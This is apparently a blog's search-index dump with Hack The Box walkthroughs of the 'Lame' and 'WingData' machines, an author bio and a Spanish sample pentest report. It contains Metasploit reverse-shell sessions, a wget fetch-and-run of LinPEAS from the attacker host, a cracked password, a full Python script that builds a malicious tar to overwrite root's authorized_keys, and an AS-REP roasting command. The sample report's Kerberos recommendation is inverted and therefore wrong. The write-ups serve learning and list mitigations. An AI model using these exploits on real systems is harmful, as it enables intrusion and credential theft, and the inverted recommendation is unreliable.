exploit(usermap_script) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.237:4444 [*] Command shell session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.27:49024) id uid=0(root) gid=0(root) ✅ Shell obtained directly as root.\n3. User Flag # cat /home/makis/user.txt 🔑 User flag obtained.\n4. Root Flag # No privilege escalation needed — CVE-2007-2447 delivers root directly due to the context in which Samba runs.\ncat /root/root.txt 🏁 Root flag obtained.\n5. Summary and Lessons Learned # Compromise path:\nRecon → Nmap detects vsftpd 2.3.4 and Samba 3.0.20 with anonymous access. SMB enumeration → tmp share with READ/WRITE permissions, no useful files. vsftpd backdoor → Attempted, failed — port 6200 blocked at the network level. CVE-2007-2447 → Username Map Script in Samba 3.0.20 → command injection → direct shell as root. Flags → No escalation needed, direct access to both directories → user.txt + root.txt. What I learned from this machine:\nIdentifying specific service versions matters more than identifying ports. An open port 445 is generic; Samba 3.0.20 is a CVE directly. The difference between -sV and not using it can be the difference between finding the vector or not.\nAlways have a plan B when multiple services are vulnerable. The vsftpd backdoor was the apparently simplest vector, but it was blocked. Without the Samba hint as an alternative, the machine would have seemed unsolvable.\nCVE-2007-2447 is a classic example of command injection through lack of sanitization. The username map script parameter accepts user input and passes it to the shell without escaping metacharacters. Any external data reaching a command interpreter without sanitization is an injection vector — a universal rule.\nThe context in which a service runs determines the impact of exploiting it. If Samba ran as an unprivileged user, we\u0026rsquo;d need escalation. Running as root, the first access is already maximum access. When enumerating a service, it\u0026rsquo;s always worth identifying which user it runs as (ps aux, systemd unit files, etc.).\nMitigations:\nVector Mitigation Samba 3.0.20 (CVE-2007-2447) Update to a modern version with active support username map script enabled Disable this option in smb.conf if not strictly necessary Samba running as root Run Samba with an unprivileged service user Anonymous FTP enabled Disable unauthenticated access even if the directory is empty Ports 139/445 exposed on the network Restrict SMB access to trusted IPs via firewall ","date":"28 March 2026","externalUrl":null,"permalink":"/posts/htb-lame/","section":"Posts","summary":" Walkthrough of Lame, one of the most classic machines on Hack The Box. Easy difficulty running Linux. The main vector is a remote code execution vulnerability in Samba 3.0.20 (CVE-2007-2447) that, through the way Samba processes usernames, executes arbitrary shell commands with the service’s privileges — in this case, root. HackTheBox Linux Easy ","title":"HTB Walkthrough: Lame","type":"posts"},{"content":" Walkthrough of WingData on Hack The Box. Easy difficulty machine running Linux. RCE via CVE-2025-47812, a null-byte authentication bypass in Wing FTP Server that grants access to the admin panel and remote code execution. After cracking user credentials with hashcat (SHA-256 with salt), we escalate to root by exploiting a PATH_MAX bypass in Python\u0026rsquo;s tarfile module executed with sudo privileges. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name WingData OS Linux (Debian 12) Difficulty Easy IP 10.129.10.66 Techniques CVE-2025-47812 · NULL-byte Auth Bypass · SHA-256 Salted Hash · tarfile PATH_MAX PrivEsc 1. Reconnaissance # 1.1 Port Scan # nmap -sV 10.129.10.66 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel Open ports:\n22 → OpenSSH 9.2p1, no known public exploits for this release. Saved as a potential entry point if we obtain valid credentials. 80 → Apache 2.4.66; may have admin panels or redirects to additional subdomains. We run a second scan with -sC (nmap default scripts) on port 80 to detect redirects and metadata:\nnmap -sC 10.129.10.66 -p80 PORT STATE SERVICE 80/tcp open http |_http-title: Did not follow redirect to http://wingdata.htb/ The server redirects to http://wingdata.htb/. This indicates name-based Virtual Hosting: the Apache server returns different content based on the Host: HTTP header field. Accessing by IP directly won\u0026rsquo;t return the correct content.\nSince HTB has no DNS that resolves wingdata.htb, we add the entry to /etc/hosts for local resolution:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.66 wingdata.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; We verify with curl -I (HEAD request, headers only) that the server responds correctly:\ncurl -I http://wingdata.htb/ HTTP/1.1 200 OK Server: Apache/2.4.66 (Debian) Content-Length: 12492 Content-Type: text/html 2. Service Analysis and Manual Enumeration # 2.1 FTP Subdomain Discovery # Exploring the wingdata.htb webpage, the \u0026ldquo;Client Portal\u0026rdquo; button redirects to ftp.wingdata.htb. We update /etc/hosts to include both domains on the same line:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.66 wingdata.htb ftp.wingdata.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; Visiting http://ftp.wingdata.htb/, we find a web FTP client — Wing FTP Server with web interface. We try anonymous:anonymous; the server lets us in but shows no files in the root directory.\n2.2 Directory Enumeration with Gobuster # With the empty anonymous access, we use Gobuster to discover paths via dictionary brute-forcing:\ngobuster dir -u http://ftp.wingdata.htb -w /usr/share/wordlists/dirb/common.txt /crossdomain.xml (Status: 200) [Size: 111] /css (Status: 200) [Size: 0] /favicon.ico (Status: 200) [Size: 19790] /help (Status: 500) [Size: 0] /icons (Status: 500) [Size: 0] /images (Status: 500) [Size: 0] /include (Status: 500) [Size: 0] /language (Status: 500) [Size: 0] /plugins (Status: 500) [Size: 0] crossdomain.xml is the only one with real content. We inspect it:\ncurl http://ftp.wingdata.htb/crossdomain.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;cross-domain-policy\u0026gt; \u0026lt;allow-access-from domain=\u0026#34;localhost\u0026#34; /\u0026gt; \u0026lt;/cross-domain-policy\u0026gt; 💡 Key insight: The server only trusts requests from localhost. This indicates the Wing FTP admin panel is likely restricted to local access — we\u0026rsquo;ll need a foothold on the machine to reach it, or a vulnerability that doesn\u0026rsquo;t require accessing the panel from outside.\n2.3 Wing FTP Administration Port # Wing FTP Server uses port 5466 for its web admin panel. We check if it\u0026rsquo;s exposed:\nnmap -p 5466 ftp.wingdata.htb PORT STATE SERVICE 5466/tcp filtered unknown Filtered from the outside — confirmed that the panel is limited to local access. The entry vector goes through directly exploiting the web service.\n3. Exploitation — CVE-2025-47812 (NULL-byte Authentication Bypass) # 3.1 Searching for the Exploit in Metasploit # msf6 \u0026gt; search Wing FTP 21 exploit/windows/ftp/wing_ftp_admin_exec 2014-06-19 excellent Yes 22 exploit/multi/http/wingftp_null_byte_rce 2025-06-30 excellent Yes Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812) Module 22 is an exact match. CVE-2025-47812 is a NULL-byte Authentication Bypass: the server incorrectly processes null bytes (\\x00) in the username or password field during HTTP authentication, allowing bypassing access control to the admin panel. From that panel, Wing FTP allows executing Lua scripts — direct remote code execution.\n3.2 Exploit Configuration and Verification # msf6 \u0026gt; use exploit/multi/http/wingftp_null_byte_rce msf6 exploit(wingftp_null_byte_rce) \u0026gt; set RHOSTS 10.129.10.66 msf6 exploit(wingftp_null_byte_rce) \u0026gt; set LHOST tun0 msf6 exploit(wingftp_null_byte_rce) \u0026gt; check [+] 10.129.10.66:80 - The target is vulnerable. Detected version 7.4.3 - 7.4.4 Target is vulnerable. We launch:\nmsf6 exploit(wingftp_null_byte_rce) \u0026gt; run [*] Meterpreter session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.66:49312) (Meterpreter 1)(/opt/wftpserver) \u0026gt; getuid Server username: wingftp ✅ Shell obtained as wingftp — the OS user under which the Wing FTP Server process runs. Limited permissions, but sufficient to continue.\n4. Post-Exploitation — Internal Enumeration with LinPEAS # 4.1 LinPEAS Transfer # We download LinPEAS on our attacking machine and serve it with Python\u0026rsquo;s HTTP server:\nwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh python3 -m http.server 80 From the Meterpreter session, we download and execute on the victim machine:\ncd /tmp wget http://10.10.15.237/linpeas.sh chmod +x linpeas.sh ./linpeas.sh 4.2 Relevant Findings # LinPEAS reports several points of interest (DBus socket, systemd socket with 777 permissions, socat/nc/ssh tools present) that don\u0026rsquo;t turn out to be the main vector. The most important hint: since we\u0026rsquo;re wingftp, the most likely vector is in Wing FTP Server\u0026rsquo;s own configuration files, which may contain credentials for other system users.\n5. Credential Extraction — Wing FTP Hash Cracking # 5.1 Locating the Administrators File # Wing FTP Server stores credentials in XML files inside /opt/wftpserver. In _ADMINISTRATOR/admins.xml we find:\n\u0026lt;ADMIN\u0026gt; \u0026lt;Admin_Name\u0026gt;admin\u0026lt;/Admin_Name\u0026gt; \u0026lt;Password\u0026gt;a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba\u0026lt;/Password\u0026gt; \u0026lt;/ADMIN\u0026gt; 64 hexadecimal characters → SHA-256. We try to crack it with John:\necho \u0026#34;a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba\u0026#34; \u0026gt; hash.txt john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt No results — the failure is revealed by investigating more configuration files.\n5.2 Salt Discovery # In the domain configuration file (Data/1) we find:\n\u0026lt;EnablePasswordSalting\u0026gt;1\u0026lt;/EnablePasswordSalting\u0026gt; \u0026lt;SaltingString\u0026gt;WingFTP\u0026lt;/SaltingString\u0026gt; The hash is computed as SHA256(password + \u0026quot;WingFTP\u0026quot;), not simply SHA256(password). Rainbow tables and basic cracking don\u0026rsquo;t work without incorporating the salt.\n5.3 Cracking the wacky User Hash # The wacky user is the only one with a directory in /home, indicating they\u0026rsquo;re a real system user. Their hash in Wing FTP\u0026rsquo;s configuration:\n32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca We use hashcat with mode 1410 (SHA256($pass.$salt)):\nhashcat -m 1410 \u0026#34;32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP\u0026#34; \\ /usr/share/wordlists/rockyou.txt 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5 🔑 Credentials found: wacky:!#7Blushing^*Bride5\n6. SSH Access and User Flag # With the obtained credentials, we connect via SSH — more stable and interactive than the Meterpreter shell, and doesn\u0026rsquo;t depend on the Metasploit process staying alive:\nssh wacky@10.129.10.66 wacky@wingdata:~$ ls user.txt wacky@wingdata:~$ cat user.txt 🔑 User flag obtained.\n7. Privilege Escalation — tarfile PATH_MAX Bypass # 7.1 Sudo Permission Enumeration # wacky@wingdata:~$ sudo -l User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * We can execute restore_backup_clients.py as root without a password. The trailing asterisk allows passing any argument — a classic vector when the script has some vulnerability in its logic.\n7.2 Environment Analysis # ls -la /opt/backup_clients/ drwxr-x--- 4 root wacky 4096 . drwxr-xr-x 4 root root 4096 .. drwxrwx--- 2 root wacky 4096 backups -rwxr-x--- 1 root wacky 2829 restore_backup_clients.py drwxr-x--- 2 root wacky 4096 restored_backups The backups/ directory has rwxrwx--- permissions — the wacky group can write to it. We can place a malicious .tar that the script will process with root privileges.\n7.3 Identifying the Vulnerability in the Script # The critical block of restore_backup_clients.py:\nwith tarfile.open(backup_path, \u0026#34;r\u0026#34;) as tar: tar.extractall(path=staging_dir, filter=\u0026#34;data\u0026#34;) Although filter=\u0026quot;data\u0026quot; (introduced in Python 3.12) blocks classic Path Traversal attacks, the implementation has a flaw: when the full extraction path exceeds the PATH_MAX limit (4096 bytes on Linux), the kernel truncates path resolution. Combining this with carefully crafted symlinks inside the tar, the process can write to arbitrary system paths — such as /root/.ssh/authorized_keys.\n7.4 SSH Payload Preparation # We generate an RSA key pair on the victim machine:\nssh-keygen -t rsa -f /tmp/id_rsa -N \u0026#34;\u0026#34; 7.5 The Exploit — Building the Malicious .tar # The technique works in four phases inside the TAR file:\nPhase 1: Nested directory structure with 247-char names (v×247) + short symlinks per level → total path exceeds PATH_MAX Phase 2: \u0026#34;Pivot\u0026#34; — symlink with 254-char name pointing ../×N to return to the extraction path root Phase 3: \u0026#34;trigger_link\u0026#34; symlink → total path exceeds PATH_MAX and kernel truncates resolution → trigger_link points to /root/.ssh/ Phase 4: authorized_keys file referenced via trigger_link → root extracts and writes our key to /root/.ssh/ We save the exploit as /tmp/exploit.py:\n#!/usr/bin/env python3 import tarfile import io import os import argparse from dataclasses import dataclass MAX_DIR_NAME = 247 NESTING_LEVELS = \u0026#34;123456789abcdefg\u0026#34; EXTENDED_LINK_SIZE = 254 @dataclass class ExploitConfig: output_tar: str target_path: str content: bytes permissions: int = 0o644 class TarExploitBuilder: def __init__(self, config: ExploitConfig): self.cfg = config self.current_depth = \u0026#34;\u0026#34; def generate(self): long_name = \u0026#34;v\u0026#34; * MAX_DIR_NAME with tarfile.open(self.cfg.output_tar, \u0026#34;w\u0026#34;) as archive: for char in NESTING_LEVELS: dir_info = tarfile.TarInfo(name=os.path.join(self.current_depth, long_name)) dir_info.type = tarfile.DIRTYPE archive.addfile(dir_info) link_info = tarfile.TarInfo(name=os.path.join(self.current_depth, char)) link_info.type = tarfile.SYMTYPE link_info.linkname = long_name archive.addfile(link_info) self.current_depth = os.path.join(self.current_depth, long_name) short_path_chain = \u0026#34;/\u0026#34;.join(NESTING_LEVELS) pivot_path = os.path.join(short_path_chain, \u0026#34;z\u0026#34; * EXTENDED_LINK_SIZE) pivot = tarfile.TarInfo(name=pivot_path) pivot.type = tarfile.SYMTYPE pivot.linkname = \u0026#34;../\u0026#34; * len(NESTING_LEVELS) archive.addfile(pivot) dest_dir = os.path.dirname(self.cfg.target_path) dest_file = os.path.basename(self.cfg.target_path) escape_route = f\u0026#34;{pivot_path}/{\u0026#39;../\u0026#39; * 8}{dest_dir.lstrip(\u0026#39;/\u0026#39;)}\u0026#34; escape_link = tarfile.TarInfo(name=\u0026#34;trigger_link\u0026#34;) escape_link.type = tarfile.SYMTYPE escape_link.linkname = escape_route archive.addfile(escape_link) payload_entry = tarfile.TarInfo(name=f\u0026#34;trigger_link/{dest_file}\u0026#34;) payload_entry.size = len(self.cfg.content) payload_entry.mode = self.cfg.permissions archive.addfile(payload_entry, fileobj=io.BytesIO(self.cfg.content)) print(f\u0026#34;[*] Generated file: {self.cfg.output_tar}\u0026#34;) print(f\u0026#34;[*] Target: {self.cfg.target_path}\u0026#34;) def run(): parser = argparse.ArgumentParser() parser.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, required=True) parser.add_argument(\u0026#34;-t\u0026#34;, \u0026#34;--target\u0026#34;, default=\u0026#34;/root/.ssh/authorized_keys\u0026#34;) parser.add_argument(\u0026#34;-p\u0026#34;, \u0026#34;--payload\u0026#34;, required=True) args = parser.parse_args() with open(args.payload, \u0026#34;rb\u0026#34;) as f: data = f.read() if not data.endswith(b\u0026#34;\\n\u0026#34;): data += b\u0026#34;\\n\u0026#34; config = ExploitConfig( output_tar=args.output, target_path=args.target, content=data, permissions=0o600 if \u0026#34;ssh\u0026#34; in args.target else 0o644 ) TarExploitBuilder(config).generate() if __name__ == \u0026#34;__main__\u0026#34;: run() 7.6 Attack Execution # We generate the malicious tar pointing to /root/.ssh/authorized_keys:\npython3 /tmp/exploit.py \\ -o /opt/backup_clients/backups/evil.tar \\ -t /root/.ssh/authorized_keys \\ -p /tmp/id_rsa.pub We execute the restore script as root with our malicious tar:\nsudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py evil.tar We verify the escalation worked:\nwacky@wingdata:/tmp$ sudo -l (ALL) NOPASSWD: ALL We become root:\nwacky@wingdata:/tmp$ sudo su - root@wingdata:~# ✅ Escalation to root completed.\n8. Root Flag # root@wingdata:~# cat root.txt 🏁 Root flag obtained.\n9. Summary and Lessons Learned # Compromise path:\nRecon → Virtual hosting to wingdata.htb; subdomain ftp.wingdata.htb with Wing FTP Server 7.4.3. Enumeration → crossdomain.xml reveals admin panel only accepts localhost; port 5466 filtered; empty anonymous FTP access. CVE-2025-47812 → NULL-byte Auth Bypass in Wing FTP → Metasploit → shell as wingftp. LinPEAS → Points to application configuration files as the most likely vector. Hash cracking → admins.xml and user config → salt WingFTP → hashcat mode 1410 → wacky:!#7Blushing^*Bride5. SSH → Access as wacky → user flag. PrivEsc → sudo without password over Python script that extracts tarballs → tarfile PATH_MAX bypass → write to /root/.ssh/authorized_keys → root. What I learned from this machine:\nVirtual Hosting requires adding domains to /etc/hosts in HTB. A 302 redirect to a domain name on the first nmap is the signal — without that entry, all requests to the web server return incorrect content or a 404.\ncrossdomain.xml as a designer\u0026rsquo;s hint. In CTFs, a policy file that only allows localhost is almost always a clue that the vector goes through the machine itself — whether SSRF, code execution, or an internally restricted admin panel.\nCVE-2025-47812 illustrates the risk of NULL-byte in authentication parsers. A null byte (\\x00) in C languages terminates a string, while in Python or Lua it has no such meaning. When the underlying C code and the application code interpret the same string differently, an attacker can exploit that discrepancy to bypass controls.\nHashcat mode 1410 is critical for SHA-256 with salt. Hashcat has over 300 modes — using the wrong one means it will never find the password even if it\u0026rsquo;s in the dictionary. Identifying the algorithm and salt format first (by reading the application configuration) is the step that determines whether cracking succeeds.\ntarfile with filter=\u0026quot;data\u0026quot; is not enough in Python when paths exceed PATH_MAX. The data filter blocks trivial path traversal attacks, but the kernel\u0026rsquo;s path length limit (PATH_MAX = 4096) can be exploited to make symlink resolution \u0026ldquo;fall\u0026rdquo; outside the extraction directory. The correct defense is to not allow privileged processes to extract user-supplied files.\nsudo over scripts with user-supplied arguments and write permissions on the input directory is guaranteed privesc. If the user can write to the directory the script reads from, they control the input completely. The asterisk in the sudo rule adds no real restriction — any filename is valid.\nMitigations:\nVector Mitigation CVE-2025-47812 in Wing FTP 7.4.3-7.4.4 Update Wing FTP Server to the patched version Active anonymous FTP access Disable if not needed; isolate in chroot if maintained SHA-256 hash with static, known salt Use per-user random salt; consider bcrypt or Argon2 sudo over script that extracts user tarballs Run with a dedicated service user without access to system paths; validate tar content before extracting Write access to privileged script input directory Restrict backups/ directory permissions to the service user only Outdated Python with vulnerable tarfile Update Python to version with PATH_MAX bypass fix; don\u0026rsquo;t use extractall on untrusted files ","date":"28 March 2026","externalUrl":null,"permalink":"/posts/htb-wingdata/","section":"Posts","summary":" Walkthrough of WingData on Hack The Box. Easy difficulty machine running Linux. RCE via CVE-2025-47812, a null-byte authentication bypass in Wing FTP Server that grants access to the admin panel and remote code execution. After cracking user credentials with hashcat (SHA-256 with salt), we escalate to root by exploiting a PATH_MAX bypass in Python’s tarfile module executed with sudo privileges. HackTheBox Linux Easy ","title":"HTB Walkthrough: WingData","type":"posts"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/lame/","section":"Tags","summary":"","title":"Lame","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/ms17-010/","section":"Tags","summary":"","title":"MS17-010","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/nullbytebypass/","section":"Tags","summary":"","title":"NullByteBypass","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/samba/","section":"Tags","summary":"","title":"Samba","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/sha256/","section":"Tags","summary":"","title":"SHA256","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"SMB","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/tarfile/","section":"Tags","summary":"","title":"Tarfile","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/wingdata/","section":"Tags","summary":"","title":"Wingdata","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/wingftp/","section":"Tags","summary":"","title":"WingFTP","type":"tags"},{"content":" Based in Sada, Galicia. My path in technology started from the ground up — networks, systems, and programming. Today I channel all of that foundation into what I\u0026rsquo;m truly passionate about: offensive cybersecurity. 🎯 Professional Profile # Passionate about Ethical Hacking and Pentesting. I studied Robotics Engineering, but it was along that path that I discovered offensive cybersecurity and got hooked — so I decided to orient my entire career toward that field. I\u0026rsquo;m currently working toward the CPTS (Certified Penetration Testing Specialist) certification from Hack The Box.\n\u0026ldquo;Understanding how the system works is the first step to knowing how to defend it — or break it.\u0026rdquo;\n🎓 Education # Cybersecurity and Ethical Hacking Present Full-time dedication to obtaining CPTS. Specialization in Malware Analysis, Digital Forensics Triage, and advanced lab challenges on Hack The Box. Robotics Engineering Bachelor\u0026#39;s Degree Universidade de Santiago de Compostela (USC) Advanced programming in **Python** and **C++**, control systems, and analytical thinking in complex environments. This foundation allowed me to understand systems at a deeper level and orient my career toward cybersecurity. Systems Administration (ASIR) Vocational Liceo La Paz Networks, protocols, services, and enterprise infrastructure administration. The technical foundation on which I built everything else. 🛠️ Personal Projects # FiveM Server Development and Management Feb. 2020 – Present Personal Project 👥 2000+ active users 🗓️ 5+ years active 👨‍💻 Team of 3 devs Leadership and management:\nLed a team of 3 developers using Trello for sprint planning, task assignment, and release coordination.\nDevelopment and version control:\nDeveloped and maintained multiple scripts in Lua. Git/GitHub/GitLab workflow: pull requests, code review, and issue management. Designed and administered databases with MySQL (SQL) and Cassandra/MongoDB (NoSQL).\nSystems administration and security:\nAdministered dedicated Linux servers with Docker for containerization. Implemented perimeter security and DDoS attack mitigation via Cloudflare, firewalls, and network policies.\nWeb development:\nSmall web applications in HTML, CSS, and JavaScript for server script interfaces.\n🏅 Certifications # ✓ Linux Essentials — LE-1 Obtained Linux Professional Institute · Entry level ◑ CPTS — Certified Penetration Testing Specialist In progress Hack The Box Academy · CPTS Path approx. 60% completed 💻 Technical Skills # Offensive Security Web Pentesting Privilege Escalation Active Directory Malware Analysis Digital Forensics Triage OSINT Pentesting Tools Nmap Burp Suite Metasploit LinPEAS / WinPEAS Wireshark Gobuster / Feroxbuster Impacket John / Hashcat Languages and Scripting Python Bash Scripting PowerShell C++ Lua Infrastructure and DevOps Linux Server Admin Docker Git / GitHub MySQL MongoDB Cloudflare 📬 Contact # LinkedIn GitHub HackTheBox seoane.pablo16@gmail.com ","date":"24 March 2026","externalUrl":null,"permalink":"/about/","section":"Pablo Seoane · Pentester \u0026 Security Researcher","summary":" Based in Sada, Galicia. My path in technology started from the ground up — networks, systems, and programming. Today I channel all of that foundation into what I’m truly passionate about: offensive cybersecurity. 🎯 Professional Profile # Passionate about Ethical Hacking and Pentesting. I studied Robotics Engineering, but it was along that path that I discovered offensive cybersecurity and got hooked — so I decided to orient my entire career toward that field. I’m currently working toward the CPTS (Certified Penetration Testing Specialist) certification from Hack The Box.\n","title":"About Me","type":"page"},{"content":" Documento descriptivo de los hallazgos tras la auditoría de caja negra sobre la infraestructura perimetral de CorpX. 📋 Resumen Ejecutivo # Durante los días [Fechas], se llevó a cabo una auditoría de seguridad (Pentest) sobre la infraestructura de la empresa CorpX. El objetivo principal fue identificar, explotar y documentar vulnerabilidades en los sistemas expuestos a Internet.\nSe lograron comprometer múltiples sistemas críticos debido a contraseñas débiles y servicios desactualizados.\n🎯 Alcance (Scope) # 192.168.1.0/24 (Red Corporativa Principal) *.corpx.local (Dominio Interno) 🚨 Hallazgos y Vulnerabilidades # 1. [Crítico] Ejecución Remota de Código (RCE) en Web Server Ppal # CVSS V3 Score: 9.8 (CRITICAL)\nEl servidor principal expone la versión vulnerable de Apache Struts. Mediante un payload diseñado específicamente, se logró obtener una shell interactiva como el usuario www-data, lo cual posteriormente permitió la elevación de privilegios.\nRecomendación: Actualizar inmediatamente el componente a la versión más reciente.\n2. [Alto] Misconfiguración en Active Directory (AS-REP Roasting) # CVSS V3 Score: 7.5 (HIGH)\nSe encontraron múltiples cuentas sin la opción de preautenticación Kerberos habilitada. Esto permitió la recolección de hashes TGT que posteriormente fueron crackeados de manera offline.\nImpacket-GetNPUsers corpx.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt Recomendación: Activar la política \u0026ldquo;Do not require Kerberos preauthentication\u0026rdquo; en todos los usuarios del dominio CorpX.\nNota: Este informe es un ejemplo metodológico para el portafolio y los resultados han sido anonimizados/ofuscados.\n","date":"24 March 2026","externalUrl":null,"permalink":"/reports/informe-profesional-ejemplo/","section":"Informes Profesionales","summary":" Documento descriptivo de los hallazgos tras la auditoría de caja negra sobre la infraestructura perimetral de CorpX. 📋 Resumen Ejecutivo # Durante los días [Fechas], se llevó a cabo una auditoría de seguridad (Pentest) sobre la infraestructura de la empresa CorpX. El objetivo principal fue identificar, explotar y documentar vulnerabilidades en los sistemas expuestos a Internet.\n","title":"Auditoría Interna - Infraestructura CorpX","type":"reports"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/categories/informes-profesionales/","section":"Categories","summary":"","title":"Informes Profesionales","type":"categories"},{"content":"Esta sección contiene informes detallados y estructurados metodológicamente, similares a los generados durante auditorías reales (ej: formatos estandarizados y exportaciones desde SysReptor).\n","date":"24 March 2026","externalUrl":null,"permalink":"/reports/","section":"Informes Profesionales","summary":"Esta sección contiene informes detallados y estructurados metodológicamente, similares a los generados durante auditorías reales (ej: formatos estandarizados y exportaciones desde SysReptor).\n","title":"Informes Profesionales","type":"reports"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/pentesting/","section":"Tags","summary":"","title":"Pentesting","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/red-externa/","section":"Tags","summary":"","title":"Red Externa","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/reporte/","section":"Tags","summary":"","title":"Reporte","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/sysreptor/","section":"Tags","summary":"","title":"SysReptor","type":"tags"}]